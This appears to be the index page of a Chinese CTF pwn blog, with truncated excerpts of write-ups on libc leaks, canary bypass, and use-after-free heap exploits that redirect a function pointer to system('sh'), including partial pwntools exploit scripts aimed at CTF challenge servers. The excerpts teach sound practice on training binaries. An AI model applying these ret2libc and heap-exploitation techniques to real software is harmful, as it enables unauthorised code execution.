libc泄漏
泄露libc之有libc文件 给fresh pwner提醒下,这里的puts是可以换的(看你是通过puts函数泄露的还是通过write函数泄露的,通过哪个写哪个)仔细观察有无 libc 文件的区别(发现没中小括号也是要区分的哦,可以自己试试) 123libc_base = puts_addr - libc.sym['puts']sys_addr = libc_base + libc.sym['system']bin_sh = libc_base + next(libc.search(b"/bin/sh\x00")) 泄露libc之无libc文件 1234libc = LibcSearcher('puts',puts_addr)libc_base = puts_addr - libc.dump('puts')sys_addr = libc_base + libc.dump('system')bin_sh = libc_base + libc.dump(...
hgame_week1
misaki #00044e-WEEK1-WP1-签到1-TEST NC nc 链接即可 2-从这里开始的序章。 2-sieve ai直接跑出来 3-Hakuya Want A Girl Friend开头是压缩包pk格式,结尾是47 4e 50 89png图片格式 倒叙即可获取图片 png高度一把梭即可 4-counting petals 第一次输入不超过16,第二次循环数组输入可以输入到v7[17],超出合法范围,覆盖到v8,同时是%ld,同时覆盖了v8,v9,后续通过输出泄漏返回地址,canary 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869from pwn import * #引用pwntools库context(log_level='debug',arch='amd64',os='linux')min...
周报汇总
[2021 鹤城杯]littleoflibc+canary保护 做了很久终于弄懂了 使用ida打开后发现此处两个read都可以作为溢出点进行栈溢出,但是程序开启了canary保护,所以我们需要绕过canary保护进行栈溢出 v3为canary的值 大小为8个字节位 此时我们可以先编写第一段代码内容,用于获取泄漏的canary值 12345678910111213141516171819202122from pwn import * #引用pwntools库context(log_level='debug',arch='amd64')p=remote('node4.anna.nssctf.cn',28445)#配置nc连接:node4.anna.nssctf.cn:28445e=ELF('./littleof')put_got=e.got['puts']put_plt=e.plt['puts']ret=0x40059erdi=0x400863main_add=...
[NISACTF 2022]UAF
正常的增删改查功能 add 中创建一个堆放入 page 在数组之中的,v1 作为计数变量,每添加一个都自增 show 函数中输入 0 时会调用 (*((void (__cdecl **)(char *))page + 1))(page); 程序是 32 位使用 page+1 = page 地址+4 page[4]=函数名 page[0]=参数 此时就是需要修改 page[0]=sh\x00\x00+system 地址 使用sh\x00\x00 是因为只能存入 4 字节/bin/sh\x00 超出 4 字节 但是在 edit 函数中我们无法直接去修改 page[0] 中的值 del 函数中 free 未置 0 但是 v1 这个计数单位也未置 0 此时我们可以用到堆中的机制 先创建一个 chunk1,再释放掉 chunk1,此时在申请一个 chunk2 chunk2 使用的还是 chunk1 的地址,因为申请一个比较小的堆块时会在 fastbin 中先进行查找有没有对应 size 的堆块,如果有那就申请出来 所以我...
[BJDCTF 2020]YDSneedGirlfriend
经典的增删改查 add 函数中就很有看头了,先申请了一个固定 0x10 大小的 chunk,又在 chunk 的 data 段写入的 puts 函数地址,又在 chunk->data 段+0x8 后面写入了一个新 chunk,并且往新 chunk 的 data 段写入 her name free 函数中未置 0 存在 uaf show 函数中使用 chunk->data 作为函数调用输出chunk->data(我调用我自己输出我自己了属于是 程序有完整的后面函数 此时我们想法是在 show 中实现调用后面函数 此时我们如果申请两个 0x20(实际申请 0x30 大小的 chunk ,并且 free 掉后 在 fastbin 中 0x20:chunk1->chunk0、0x30:chunk1->chunk0 0x20 是 add 函数中在每一次调用时都会申请的一个 0x10 大小的 chunk 此时我们可以利用这一点 在 add 函数中申请一个 0x10 大小的 chunk,会把 fastbin 链表中两个 0x20 的 chunk 申请出...
ctfshow43-67
1-pwn43 ida打开文件后发现有明显的溢出点 有systeam函数可以使用,但是没用/bin/sh,尝试使用libc无法成功 gdb vmmap可以查看到程序有一段可写的部分,可以使用这一部分去写入/bin/sh 使用objdump -d -j .plt pwn命令可以查看到程序的函数plt地址 12345678910111213141516171819202122232425from pwn import * #引用pwntools库context(log_level='debug',arch='i386',os='linux')ming=1if ming: p=remote('pwn.challenge.ctf.show',28282)#配置远程连接 28282else: p=process("pwn")#配置本地连接:#gdb.attach(p)main_add=0x080487AFsystem=0x804845...
御网杯
ez_pwn 关闭标准输出流 溢出点 考虑使用wirte(2, got, 0x200) 程序 gadget 有 rdi 和 rsi,rdx 调试后发现没有被修改过还是 200,就无需修改,泄露 write 的真实地址,算出偏移,即可 获得 sh 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364from pwn import * #引用pwntools库from LibcSearcher import *misaki=1if misaki: context(log_level='debug',arch='amd64',os='linux')else: context(log_level='debug',arch='i386',os='linux')ming=1...
SQCTF
浅红欺醉粉,肯信有江梅直接nc连接即可 借的东风破金锁 输入的内容只要相等即可 但是直接输入就超出了范围 ai搜出输入方法 12345678910111213141516171819202122232425262728293031323334353637383940414243from pwn import * #引用pwntools库from LibcSearcher import *misaki=1if misaki: context(log_level='debug',arch='amd64',os='linux')else: context(log_level='debug',arch='i386',os='linux')ming=1if ming: p=remote('challenge.qsnctf.com',31915)#配置远程连接nc challenge.qsnctf.com 31915else: ...
轩辕杯
轩辕杯
各大Linux的libc版本
libc版本的不同




![[NISACTF 2022]UAF](/img/wen1.jpg)
![[BJDCTF 2020]YDSneedGirlfriend](/img/8.jpg)





![[2021 鹤城杯]easyecho](/img/22.jpg)



![[HNCTF 2022 WEEK4]ezheap](/img/17.jpg)

